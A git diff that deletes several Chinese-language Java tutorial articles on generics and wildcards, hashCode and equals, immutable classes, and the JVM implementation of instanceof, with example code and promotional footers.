- } - } - return sb.toString(); - } - - // 返回数组中元素的数量 - public int size() { - return size; - } - - // 修改指定下标的元素,返回修改前的元素 - public E set(int index, E element) { - E oldValue = (E) elementData[index]; - elementData[index] = element; - return oldValue; - } -} -``` - -1)新增 `indexOf(Object o)` 方法,判断元素在 `Arraylist` 中的位置。注意参数为 `Object` 而不是泛型 `E`。 - -2)新增 `contains(Object o)` 方法,判断元素是否在 `Arraylist` 中。注意参数为 `Object` 而不是泛型 `E`。 - -3)新增 `toString()` 方法,方便对 `Arraylist` 进行打印。 - -4)新增 `set(int index, E element)` 方法,方便对 `Arraylist` 元素的更改。 - -因为泛型擦除的原因,`Arraylist list = new Arraylist();` 这样的语句是无法通过编译的,尽管 Wangxiaoer 是 Wanger 的子类。但如果我们确实需要这种 “向上转型” 的关系,该怎么办呢?这时候就需要通配符来发挥作用了。 - -利用 `` 形式的通配符,可以实现泛型的向上转型,来看例子。 - -```java -Arraylist list2 = new Arraylist<>(4); -list2.add(null); -// list2.add(new Wanger()); -// list2.add(new Wangxiaoer()); - -Wanger w2 = list2.get(0); -// Wangxiaoer w3 = list2.get(1); -``` - -list2 的类型是 `Arraylist`,翻译一下就是,list2 是一个 `Arraylist`,其类型是 `Wanger` 及其子类。 - -注意,“关键”来了!list2 并不允许通过 `add(E e)` 方法向其添加 `Wanger` 或者 `Wangxiaoer` 的对象,唯一例外的是 `null`。 - -“那就奇了怪了,既然不让存放元素,那要 `Arraylist` 这样的 list2 有什么用呢?”三妹好奇地问。 - -虽然不能通过 `add(E e)` 方法往 list2 中添加元素,但可以给它赋值。 - -```java -Arraylist list = new Arraylist<>(4); - -Wanger wanger = new Wanger(); -list.add(wanger); - -Wangxiaoer wangxiaoer = new Wangxiaoer(); -list.add(wangxiaoer); - -Arraylist list2 = list; - -Wanger w2 = list2.get(1); -System.out.println(w2); - -System.out.println(list2.indexOf(wanger)); -System.out.println(list2.contains(new Wangxiaoer())); -``` - -`Arraylist list2 = list;` 语句把 list 的值赋予了 list2,此时 `list2 == list`。由于 list2 不允许往其添加其他元素,所以此时它是安全的——我们可以从容地对 list2 进行 `get()`、`indexOf()` 和 `contains()`。想一想,如果可以向 list2 添加元素的话,这 3 个方法反而变得不太安全,它们的值可能就会变。 - -利用 `` 形式的通配符,可以向 Arraylist 中存入父类是 `Wanger` 的元素,来看例子。 - -```java -Arraylist list3 = new Arraylist<>(4); -list3.add(new Wanger()); -list3.add(new Wangxiaoer()); - -// Wanger w3 = list3.get(0); -``` - -需要注意的是,无法从 `Arraylist` 这样类型的 list3 中取出数据。 - -### 小结 - -好了,三妹,关于泛型,我们再来做一个简单的总结。 - -在 Java 中,泛型是一种强类型约束机制,可以在编译期间检查类型安全性,并且可以提高代码的复用性和可读性。 - -#### 1)类型参数化 - -泛型的本质是参数化类型,也就是说,在定义类、接口或方法时,可以使用一个或多个类型参数来表示参数化类型。 - -例如这样可以定义一个泛型类。 - -```java -public class Box { - private T value; - - public Box(T value) { - this.value = value; - } - - public T getValue() { - return value; - } - - public void setValue(T value) { - this.value = value; - } -} -``` - -在这个例子中,`` 表示类型参数,可以在类中任何需要使用类型的地方使用 T 代替具体的类型。通过使用泛型,我们可以创建一个可以存储任何类型对象的盒子。 - -```java -Box intBox = new Box<>(123); -Box strBox = new Box<>("Hello, world!"); -``` - -泛型在实际开发中的应用非常广泛,例如集合框架中的 List、Set、Map 等容器类,以及并发框架中的 Future、Callable 等工具类都使用了泛型。 - -#### 2)类型擦除 - -在 Java 的泛型机制中,有两个重要的概念:类型擦除和通配符。 - -泛型在编译时会将泛型类型擦除,将泛型类型替换成 Object 类型。这是为了向后兼容,避免对原有的 Java 代码造成影响。 - -例如,对于下面的代码: - -```java -List intList = new ArrayList<>(); -intList.add(123); -int value = intList.get(0); -``` - -在编译时,Java 编译器会将泛型类型 `List` 替换成 `List`,将 get 方法的返回值类型 Integer 替换成 Object,生成的字节码与下面的代码等价: - -```java -List intList = new ArrayList(); -intList.add(Integer.valueOf(123)); -int value = (Integer) intList.get(0); -``` - -Java 泛型只在编译时起作用,运行时并不会保留泛型类型信息。 - -#### 3)通配符 - -通配符用于表示某种未知的类型,例如 `List` 表示一个可以存储任何类型对象的 List,但是不能对其中的元素进行添加操作。通配符可以用来解决类型不确定的情况,例如在方法参数或返回值中使用。 - -使用通配符可以使方法更加通用,同时保证类型安全。 - -例如,定义一个泛型方法: - -```java -public static void printList(List list) { - for (Object obj : list) { - System.out.print(obj + " "); - } - System.out.println(); -} -``` - -这个方法可以接受任意类型的 List,例如 `List`、`List` 等等。 - -##### 上限通配符 - -泛型还提供了上限通配符 ``,表示通配符只能接受 T 或 T 的子类。使用上限通配符可以提高程序的类型安全性。 - -例如,定义一个方法,只接受 Number 及其子类的 List: - -```java -public static void printNumberList(List list) { - for (Number num : list) { - System.out.print(num + " "); - } - System.out.println(); -} -``` - -这个方法可以接受 `List`、`List` 等等。 - -##### 下限通配符 - -下限通配符(Lower Bounded Wildcards)用 super 关键字来声明,其语法形式为 ``,其中 T 表示类型参数。它表示的是该类型参数必须是某个指定类的超类(包括该类本身)。 - -当我们需要往一个泛型集合中添加元素时,如果使用的是上限通配符,集合中的元素类型可能会被限制,从而无法添加某些类型的元素。但是,如果我们使用下限通配符,可以将指定类型的子类型添加到集合中,保证了元素的完整性。 - -举个例子,假设有一个类 Animal,以及两个子类 Dog 和 Cat。现在我们有一个 `List` 集合,它的类型参数必须是 Dog 或其父类类型。我们可以向该集合中添加 Dog 类型的元素,也可以添加它的子类。但是,不能向其中添加 Cat 类型的元素,因为 Cat 不是 Dog 的子类。 - -下面是一个使用下限通配符的示例: - -```java -List animals = new ArrayList<>(); - -// 可以添加 Dog 类型的元素和其子类型元素 -animals.add(new Dog()); -animals.add(new Bulldog()); - -// 不能添加 Cat 类型的元素 -animals.add(new Cat()); // 编译报错 -``` - -需要注意的是,虽然使用下限通配符可以添加某些子类型元素,但是在读取元素时,我们只能确保其是 Object 类型的,无法确保其是指定类型或其父类型。因此,在读取元素时需要进行类型转换,如下所示: - -```java -List animals = new ArrayList<>(); -animals.add(new Dog()); - -// 读取元素时需要进行类型转换 -Object animal = animals.get(0); -Dog dog = (Dog) animal; -``` - -总的来说,Java 的泛型机制是一种非常强大的类型约束机制,可以在编译时检查类型安全性,并提高代码的复用性和可读性。但是,在使用泛型时也需要注意类型擦除和通配符等问题,以确保代码的正确性。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/hashcode.md b/docs/src/basic-extra-meal/hashcode.md deleted file mode 100644 index c885a852b5..0000000000 --- a/docs/src/basic-extra-meal/hashcode.md +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Java hashCode方法深入解析 -shortTitle: Java hashCode方法解析 -category: - - Java核心 -tag: - - Java重要知识点 -description: hashCode是Java 所有类都有的方法,它会返回一个整数哈希码,表示对象在内存中的近似位置。相等的对象应具有相同哈希码,因此自定义类时需同时重写hashCode()和equals()方法。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: java,hashcode,equals ---- - -今天我们来谈谈 Java 中的 `hashCode()` 方法。众所周知,Java 是一门面向对象的编程语言,所有的类都会默认继承自 Object 类,而 Object 的中文意思就是“对象”。 - -Object 类中就包含了 `hashCode()` 方法: - -```java -public native int hashCode(); -``` - -意味着所有的类都会有一个 `hashCode()` 方法,该方法会返回一个 int 类型的值。由于 `hashCode()` 方法是一个[本地方法](https://javabetter.cn/oo/native-method.html)(`native` 关键字修饰的方法,用 `C/C++` 语言实现,由 Java 调用),意味着 Object 类中并没有给出具体的实现。 - -具体的实现可以参考 `jdk/src/hotspot/share/runtime/synchronizer.cpp`(源码可以到 [GitHub 上 OpenJDK 的仓库中下载](https://github.com/openjdk/jdk/blob/master/src/hotspot/share/runtime/synchronizer.cpp))。`get_next_hash()` 方法会根据 hashCode 的取值来决定采用哪一种哈希值的生成策略。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/hashcode-1.png) - -Java 9 之后,`hashCode()` 方法会被 `@HotSpotIntrinsicCandidate` 注解修饰,表明它在 HotSpot 虚拟机中有一套高效的实现,基于 CPU 指令。 - -那大家有没有想过这样一个问题:**为什么 Object 类需要一个 `hashCode()` 方法呢**? - -在 Java 中,`hashCode()` 方法的主要作用就是为了配合[哈希表](https://javabetter.cn/collection/hashmap.html)使用的。 - -哈希表(Hash Table),也叫散列表,是一种可以通过关键码值(key-value)直接访问的数据结构,它最大的特点就是可以快速实现查找、插入和删除。其中用到的算法叫做哈希,就是把任意长度的输入,变换成固定长度的输出,该输出就是哈希值。像 MD5、SHA1 都用的是哈希算法。 - -像 Java 中的 HashSet、Hashtable(注意是小写的 t)、HashMap 都是基于哈希表的具体实现。其中的 [HashMap](https://javabetter.cn/collection/hashmap.html) 就是最典型的代表,不仅面试官经常问,工作中的使用频率也非常的高。 - -大家想一下,如果没有哈希表,但又需要这样一个数据结构,它里面存放的数据是不允许重复的,该怎么办呢? - -要不使用 `equals()` 方法进行逐个比较?这种方案当然是可行的。但如果数据量特别特别大,采用 `equals()` 方法进行逐个对比的效率肯定很低很低,最好的解决方案就是哈希表。 - -拿 HashMap 来说吧。当我们要在它里面添加对象时,先调用这个对象的 `hashCode()` 方法,得到对应的哈希值,然后将哈希值和对象一起放到 HashMap 中。当我们要再添加一个新的对象时: - -- 获取对象的哈希值; -- 和之前已经存在的哈希值进行比较,如果不相等,直接存进去; -- 如果有相等的,再调用 `equals()` 方法进行对象之间的比较,如果相等,不存了; -- 如果不等,说明哈希冲突了,增加一个链表,存放新的对象; -- 如果链表的长度大于 8,转为红黑树来处理。 - -就这么一套下来,调用 `equals()` 方法的频率就大大降低了。也就是说,只要哈希算法足够的高效,把发生哈希冲突的频率降到最低,哈希表的效率就特别的高。 - -来看一下 HashMap 的哈希算法: - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -先调用对象的 `hashCode()` 方法,然后对该值进行右移运算,然后再进行异或运算。 - -通常来说,String 会用来作为 HashMap 的键进行哈希运算,因此我们再来看一下 String 的 `hashCode()` 方法: - -```java -public int hashCode() { - int h = hash; - if (h == 0 && value.length > 0) { - char val[] = value; - - for (int i = 0; i < value.length; i++) { - h = 31 * h + val[i]; - } - hash = h; - } - return h; -} -``` - -可想而知,经过这么一系列复杂的运算,再加上 JDK 作者这种大师级别的设计,哈希冲突的概率我相信已经降到了最低(我们在 HashMap 中深入探讨过)。 - -当然了,从理论上来说,对于两个不同对象,它们通过 `hashCode()` 方法计算后的值可能相同。因此,不能使用 `hashCode()` 方法来判断两个对象是否相等,必须得通过 `equals()` 方法。 - -也就是说: - -- 如果两个对象调用 `equals()` 方法得到的结果为 true,调用 `hashCode()` 方法得到的结果必定相等; -- 如果两个对象调用 `hashCode()` 方法得到的结果不相等,调用 `equals()` 方法得到的结果必定为 false; - -反之: - -- 如果两个对象调用 `equals()` 方法得到的结果为 false,调用 `hashCode()` 方法得到的结果不一定不相等; -- 如果两个对象调用 `hashCode()` 方法得到的结果相等,调用 `equals()` 方法得到的结果不一定为 true; - -来看下面这段代码。 - -```java -public class Test { - public static void main(String[] args) { - Student s1 = new Student(18, "张三"); - Map scores = new HashMap<>(); - scores.put(s1, 98); - System.out.println(scores.get(new Student(18, "张三"))); - } -} - class Student { - private int age; - private String name; - - public Student(int age, String name) { - this.age = age; - this.name = name; - } - - @Override - public boolean equals(Object o) { - Student student = (Student) o; - return age == student.age && - Objects.equals(name, student.name); - } - } -``` - -我们重写了 Student 类的 `equals()` 方法,如果两个学生的年纪和姓名相同,我们就认为是同一个学生,虽然很离谱,但我们就是这么草率。 - -在 `main()` 方法中,18 岁的张三考试得了 98 分,很不错的成绩,我们把张三和成绩放到了 HashMap 中,然后准备输出张三的成绩: - -``` -null -``` - -很不巧,结果为 null,而不是预期当中的 98。这是为什么呢? - -原因就在于重写 `equals()` 方法的时候没有重写 `hashCode()` 方法。默认情况下,`hashCode()` 方法是一个本地方法,会返回对象的存储地址,显然 `put()` 中的 s1 和 `get()` 中的 `new Student(18, "张三")` 是两个对象,它们的存储地址肯定是不同的。 - -HashMap 的 `get()` 方法会调用 `hash(key.hashCode())` 计算对象的哈希值,虽然两个不同的 `hashCode()` 结果经过 `hash()` 方法计算后有可能得到相同的结果,但这种概率微乎其微,所以就导致 `scores.get(new Student(18, "张三"))` 无法得到预期的值 18。 - -怎么解决这个问题呢?很简单,重写 `hashCode()` 方法。 - -```java - @Override - public int hashCode() { - return Objects.hash(age, name); - } -``` - -[Objects 类](https://javabetter.cn/common-tool/Objects.html)的 `hash()` 方法可以针对不同数量的参数生成新的 `hashCode()` 值。 - -```java -public static int hashCode(Object a[]) { - if (a == null) - return 0; - - int result = 1; - - for (Object element : a) - result = 31 * result + (element == null ? 0 : element.hashCode()); - - return result; -} -``` - -代码似乎很简单,归纳出的数学公式如下所示(n 为字符串长度)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/hashcode-2.png) - -注意:31 是个奇质数,不大不小,一般质数都非常适合哈希计算,偶数相当于移位运算,容易溢出,造成数据信息丢失。 - -这就意味着年纪和姓名相同的情况下,会得到相同的哈希值。`scores.get(new Student(18, "张三"))` 就会返回 98 的预期值了。 - -《Java 编程思想》这本圣经中有一段话,对 `hashCode()` 方法进行了一段描述。 - -> 设计 `hashCode()` 时最重要的因素就是:无论何时,对同一个对象调用 `hashCode()` 都应该生成同样的值。如果在将一个对象用 `put()` 方法添加进 HashMap 时产生一个 `hashCode()` 值,而用 `get()` 方法取出时却产生了另外一个 `hashCode()` 值,那么就无法重新取得该对象了。所以,如果你的 `hashCode()` 方法依赖于对象中易变的数据,用户就要当心了,因为此数据发生变化时,`hashCode()` 就会生成一个不同的哈希值,相当于产生了一个不同的键。 - -也就是说,如果在重写 `hashCode()` 和 `equals()` 方法时,对象中某个字段容易发生改变,那么最好舍弃这些字段,以免产生不可预期的结果。 - -好。有了上面这些内容作为基础后,我们回头再来看看本地方法 `hashCode()` 的 C++ 源码。 - -```cpp -static inline intptr_t get_next_hash(Thread* current, oop obj) { - intptr_t value = 0; - if (hashCode == 0) { - // 这种形式使用全局的 Park-Miller 随机数生成器。 - // 在 MP 系统上,我们将对全局变量进行大量的读写访问,因此该机制会引发大量的一致性通信。 - value = os::random(); - } else if (hashCode == 1) { - // 这种变体在 STW(Stop The World)操作之间具有稳定(幂等)的特性。 - // 在一些 1-0 同步方案中,这可能很有用。 - intptr_t addr_bits = cast_from_oop(obj) >> 3; - value = addr_bits ^ (addr_bits >> 5) ^ GVars.stw_random; - } else if (hashCode == 2) { - value = 1; // 用于敏感性测试 - } else if (hashCode == 3) { - value = ++GVars.hc_sequence; - } else if (hashCode == 4) { - value = cast_from_oop(obj); - } else { - // Marsaglia 的异或移位方案,具有线程特定的状态 - // 这可能是最好的整体实现 -- 我们可能会在未来的版本中将其设为默认实现。 - unsigned t = current->_hashStateX; - t ^= (t << 11); - current->_hashStateX = current->_hashStateY; - current->_hashStateY = current->_hashStateZ; - current->_hashStateZ = current->_hashStateW; - unsigned v = current->_hashStateW; - v = (v ^ (v >> 19)) ^ (t ^ (t >> 8)); - current->_hashStateW = v; - value = v; - } - - value &= markWord::hash_mask; - if (value == 0) value = 0xBAD; - assert(value != markWord::no_hash, "invariant"); - return value; -} -``` - -如果没有 C++ 基础的话,不用细致去看每一行代码,我们只通过表面去了解一下 `get_next_hash()` 这个方法就行。其中的 `hashCode` 变量是 JVM 启动时的一个全局参数,可以通过它来切换哈希值的生成策略。 - -- `hashCode==0`,调用操作系统 OS 的 `random()` 方法返回随机数。 -- `hashCode == 1`,在 STW(stop-the-world)操作中,这种策略通常用于同步方案中。利用对象地址进行计算,使用不经常更新的随机数(`GVars.stw_random`)参与其中。 -- `hashCode == 2`,使用返回 1,用于某些情况下的测试。 -- `hashCode == 3`,从 0 开始计算哈希值,不是线程安全的,多个线程可能会得到相同的哈希值。 -- `hashCode == 4`,与创建对象的内存位置有关,原样输出。 -- `hashCode == 5`,默认值,支持多线程,使用了 Marsaglia 的 xor-shift 算法产生伪随机数。所谓的 xor-shift 算法,简单来说,看起来就是一个移位寄存器,每次移入的位由寄存器中若干位取异或生成。所谓的伪随机数,不是完全随机的,但是真随机生成比较困难,所以只要能通过一定的随机数统计检测,就可以当作真随机数来使用。 - -这里简单总结下。 - -在 Java 中,`hashCode()`方法是定义在 `java.lang.Object` 类中的一个方法,该类是所有 Java 所有类的父类。因此,每个 Java 对象都可以调用 `hashCode()`方法。`hashCode()`方法主要用于支持哈希表(如 java.util.HashMap),这些数据结构使用哈希算法能实现快速查找、插入和删除操作。 - -`hashCode()`方法的主要目的是返回一个整数,这个整数称为哈希码,它代表了对象在内存中的一种近似表示。哈希码用于将对象映射到哈希表中的一个特定的位置。两个相等的对象(根据 [`equals()`方法比较](https://javabetter.cn/string/equals.html))应该具有相同的哈希码。然而,具有相同哈希码的两个对象并不一定相等。 - -当你创建一个自定义类并覆盖 `equals()`方法时,通常也需要覆盖 `hashCode()`方法,以确保相等的对象具有相同的哈希码。这有助于提高哈希表在使用自定义类的对象作为键时的准确性。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/immutable.md b/docs/src/basic-extra-meal/immutable.md deleted file mode 100644 index 3e607cd8c6..0000000000 --- a/docs/src/basic-extra-meal/immutable.md +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: 聊聊Java中的不可变对象 -shortTitle: Java不可变对象 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细讲解了Java中的不可变对象,包括其原理、特点、创建方法以及使用场景。文章通过实例解析,帮助读者深入理解不可变对象在Java编程中的重要性,提高编程水平和技巧。 -head: - - - meta - - name: keywords - content: Java,不可变对象,immutable ---- - -“二哥,你能给我说说为什么 String 是 immutable 类(不可变对象)吗?我想研究它,想知道为什么它就不可变了,这种强烈的愿望就像想研究浩瀚的星空一样。但无奈自身功力有限,始终觉得雾里看花终隔一层。”三妹的这句话里满是彩虹屁的味道。 - -“既然三妹你说话这么好听,那我们就开始吧!”我愉快的心情就好像吃了两罐蜂蜜一样(😂)。 - -### 01、什么是不可变类 - -一个类的对象在通过构造方法创建后如果状态不会再被改变,那么它就是一个不可变(immutable)类。它的所有成员变量的赋值仅在构造方法中完成,不会提供任何 setter 方法供外部类去修改。 - -还记得《神雕侠侣》中小龙女的古墓吗?随着那一声巨响,仅有的通道就被无情地关闭了。别较真那个密道,我这么说只是为了打开你的想象力,让你对不可变类有一个更直观的印象。 - -自从有了多线程,生产力就被无限地放大了,所有的程序员都爱它,因为强大的硬件能力被充分地利用了。但与此同时,所有的程序员都对它心生忌惮,因为一不小心,多线程就会把对象的状态变得混乱不堪。 - -为了保护状态的原子性、可见性、有序性,我们程序员可以说是竭尽所能。其中,synchronized(同步)关键字是最简单最入门的一种解决方案。 - -假如说类是不可变的,那么对象的状态就也是不可变的。这样的话,每次修改对象的状态,就会产生一个新的对象供不同的线程使用,我们程序员就不必再担心并发问题了。 - -### 02、常见的不可变类 - -提到不可变类,几乎所有的程序员第一个想到的,就是 String 类。那为什么 String 类要被设计成不可变的呢? - -#### 1)常量池的需要 - -[字符串常量池](https://javabetter.cn/string/constant-pool.html)是 Java 堆内存中一个特殊的存储区域,当创建一个 String 对象时,假如此字符串在常量池中不存在,那么就创建一个;假如已经存,就不会再创建了,而是直接引用已经存在的对象。这样做能够减少 JVM 的内存开销,提高效率。 - -#### 2)hashCode 需要 - -因为字符串是不可变的,所以在它创建的时候,其 hashCode 就被缓存了,因此非常适合作为哈希值(比如说作为 [HashMap](https://javabetter.cn/collection/hashmap.html) 的键),多次调用只返回同一个值,来提高效率。 - -#### 3)线程安全 - -就像之前说的那样,如果对象的状态是可变的,那么在多线程环境下,就很容易造成不可预期的结果。而 String 是不可变的,就可以在多个线程之间共享,不需要同步处理。 - -因此,当我们调用 String 类的任何方法(比如说 `trim()`、`substring()`、`toLowerCase()`)时,总会返回一个新的对象,而不影响之前的值。 - -```java -String cmower = "沉默王二,一枚有趣的程序员"; -cmower.substring(0,4); -System.out.println(cmower);// 沉默王二,一枚有趣的程序员 -``` - -虽然调用 `substring()` 方法对 cmower 进行了截取,但 cmower 的值没有改变。 - -除了 String 类,包装器类 Integer、Long 等也是不可变类。 - -### 03、手撸一个不可变类 - -看懂一个不可变类也许容易,但要创建一个自定义的不可变类恐怕就有点难了。但知难而进是我们作为一名优秀的程序员不可或缺的品质,正因为不容易,我们才能真正地掌握它。 - -接下来,就请和我一起,来自定义一个不可变类吧。一个不可变类,必须要满足以下 4 个条件: - -**1)确保类是 final 的**,不允许被其他类继承*。 - -**2)确保所有的成员变量(字段)是 final 的**,这样的话,它们就只能在构造方法中初始化值,并且不会在随后被修改。 - -**3)不要提供任何 setter 方法**。 - -**4)如果要修改类的状态,必须返回一个新的对象**。 - -按照以上条件,我们来自定义一个简单的不可变类 Writer。 - -```java -public final class Writer { - private final String name; - private final int age; - - public Writer(String name, int age) { - this.name = name; - this.age = age; - } - - public int getAge() { - return age; - } - - public String getName() { - return name; - } -} -``` - -Writer 类是 final 的,name 和 age 也是 final 的,没有 setter 方法。 - -OK,据说这个作者分享了很多博客,广受读者的喜爱,因此某某出版社找他写了一本书(Book)。Book 类是这样定义的: - -```java -public class Book { - private String name; - private int price; - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public int getPrice() { - return price; - } - - public void setPrice(int price) { - this.price = price; - } - - @Override - public String toString() { - return "Book{" + - "name='" + name + '\'' + - ", price=" + price + - '}'; - } -} -``` - -2 个字段,分别是 name 和 price,以及 getter 和 setter,重写后的 `toString()` 方法。然后,在 Writer 类中追加一个可变对象字段 book。 - -```java -public final class Writer { - private final String name; - private final int age; - private final Book book; - - public Writer(String name, int age, Book book) { - this.name = name; - this.age = age; - this.book = book; - } - - public int getAge() { - return age; - } - - public String getName() { - return name; - } - - public Book getBook() { - return book; - } -} -``` - -并在构造方法中追加了 Book 参数,以及 Book 的 getter 方法。 - -完成以上工作后,我们来新建一个测试类,看看 Writer 类的状态是否真的不可变。 - -```java -public class WriterDemo { - public static void main(String[] args) { - Book book = new Book(); - book.setName("二哥的 Java 进阶之路"); - book.setPrice(79); - - Writer writer = new Writer("沉默王二",18, book); - System.out.println("定价:" + writer.getBook()); - writer.getBook().setPrice(59); - System.out.println("促销价:" + writer.getBook()); - } -} -``` - -程序输出的结果如下所示: - -```java -定价:Book{name='二哥的 Java 进阶之路', price=79} -促销价:Book{name='二哥的 Java 进阶之路', price=59} -``` - -糟糕,Writer 类的不可变性被破坏了,价格发生了变化。为了解决这个问题,我们需要为不可变类的定义规则追加一条内容: - -如果一个不可变类中包含了可变类的对象,那么就需要确保返回的是可变对象的副本。也就是说,Writer 类中的 `getBook()` 方法应该修改为: - -```java -public Book getBook() { - Book clone = new Book(); - clone.setPrice(this.book.getPrice()); - clone.setName(this.book.getName()); - return clone; -} -``` - -这样的话,构造方法初始化后的 Book 对象就不会再被修改了。此时,运行 WriterDemo,就会发现价格不再发生变化了。 - -``` -定价:Book{name='二哥的 Java 进阶之路', price=79} -促销价:Book{name='二哥的 Java 进阶之路', price=79} -``` - -### 04、总结 - -不可变类有很多优点,就像之前提到的 String 类那样,尤其是在多线程环境下,它非常的安全。尽管每次修改都会创建一个新的对象,增加了内存的消耗,但这个缺点相比它带来的优点,显然是微不足道的——无非就是捡了西瓜,丢了芝麻。 - -“好了,三妹,你应该理解了吧?” - -“嗯,哥,你这本《Java 进阶之路》还没有出书吧?”三妹质疑道。 - -“害,出版社都找过来要签合同了,我只好推脱说 GitHub 破 1 万 star 再考虑,先优化吧,后面看机会。” - -“哦哦,原来如此啊。”三妹释然道。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/instanceof-jvm.md b/docs/src/basic-extra-meal/instanceof-jvm.md deleted file mode 100644 index fcc703b8dc..0000000000 --- a/docs/src/basic-extra-meal/instanceof-jvm.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Java中的instanceof关键字是如何实现的? -shortTitle: instanceof关键字是如何实现的? -category: - - Java核心 -tag: - - Java重要知识点 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java中的instanceof关键字是如何实现的? -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,instanceof ---- - - -小二那天去面试,碰到了这个问题:“**instanceof 关键字是如何实现的**?”面试官希望他能从底层来分析一下,结果小二没答上来,就来问我。 - -我唯唯诺诺,强装镇定,只好把 R 大的一篇回答甩给了他,并且叮嘱他:“认认真真看,玩完后要是还不明白,再来问我。。。” - ->作者:RednaxelaFX,整理:沉默王二,链接:[https://www.zhihu.com/question/21574535/answer/18998914](https://www.zhihu.com/question/21574535/answer/18998914) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/instanceof-jvm-b676fee6-bfd4-4ae9-9c7b-e488e345f775.gif) - --------- - -## 场景一:月薪 3000 元一下的码农职位 - -用 Java 伪代码来表现instanceof关键字在Java语言规范所描述的运行时语义,是这样的: - -```java -// obj instanceof T -boolean result; -if (obj == null) { - result = false; -} else { - try { - T temp = (T) obj; // checkcast - result = true; - } catch (ClassCastException e) { - result = false; - } -} -``` - -用中文说就是:如果有表达式 `obj instanceof T`,那么如果 obj 不为 null 并且 (T) obj 不抛 ClassCastException 异常则该表达式值为 true ,否则值为 false 。 - -如果面试官说“这不是废话嘛”,进入场景二。 - -## 场景二:月薪6000-8000的Java研发职位 - -JVM有一条名为 instanceof 的指令,而Java源码编译到Class文件时会把Java语言中的 instanceof 运算符映射到JVM的 instanceof 指令上。 - -javac是这样做的: - -- instanceof 是javac能识别的一个关键字,对应到Token.INSTANCEOF的token类型。做词法分析的时候扫描到"instanceof"关键字就映射到了一个Token.INSTANCEOF token。 -- 该编译器的抽象语法树节点有一个JCTree.JCInstanceOf类用于表示instanceof运算。做语法分析的时候解析到[instanceof运算符](https://javabetter.cn/basic-extra-meal/instanceof.html)就会生成这个JCTree.JCInstanceof类型的节点。 -- 中途还得根据Java语言规范对instanceof运算符的编译时检查的规定把有问题的情况找出来。 -- 到最后生成字节码的时候为JCTree.JCInstanceof节点生成instanceof字节码指令。 - -回答到这层面就已经能解决好些实际问题了,如果面试官还说,“这不还是废话嘛”,进入场景三。 - -## 场景三:月薪10000的Java高级研发职位 - -先简单介绍一下instanceof的字节码: - -- 操作:确定对象是否为给定的类型 -- 指令格式:instanceof|indexbyte1|indexbyte2 -- 指令执行前后的栈顶状态: - - ……,objectref=> - - ……,result - -再简单描述下:indexbyte1和indexbyte2用于构造对当前类的常量池的索引,objectref为reference类型,可以是某个类,数组的实例或者是接口。 - -基本的实现过程:对indexbyte1和indexbyte2构造的常量池索引进行解析,然后根据java规范判断解析的类是不是objectref的一个实例,最后在栈顶写入结果。 - -基本上就是根据规范来 YY 下实现,就能八九不离十蒙混过关了。 - -如果面试官还不满意,进入场景四。 - -## 场景四:月薪10000以上的Java资深研发职位 - -这个岗位注重性能调优什么的,R 大说可以上论文了: - ->[https://dl.acm.org/doi/10.1145/583810.583821](https://dl.acm.org/doi/10.1145/583810.583821) - -论文我也看不懂,所以这里就不 BB 了。(逃 - -篇论文描述了HotSpot VM做子类型判断的算法,这里简单补充一下JDK6至今的HotSpot VM实际采用的算法: - -```java -S.is_subtype_of(T) := { - int off = T.offset; - if (S == T) return true; - if (T == S[off]) return true; - if (off != &cache) return false; - if ( S.scan_secondary_subtype_array(T) ) { - S.cache = T; - return true; - } - return false; -} -``` - -HotSpot VM的两个编译器,Client Compiler (C1) 与 Server Compiler (C2) 各自对子类型判断的实现有更进一步的优化。实际上在JVM里,instanceof的功能就实现了4份,VM runtime、解释器、C1、C2各一份。 - -VM runtime的: - 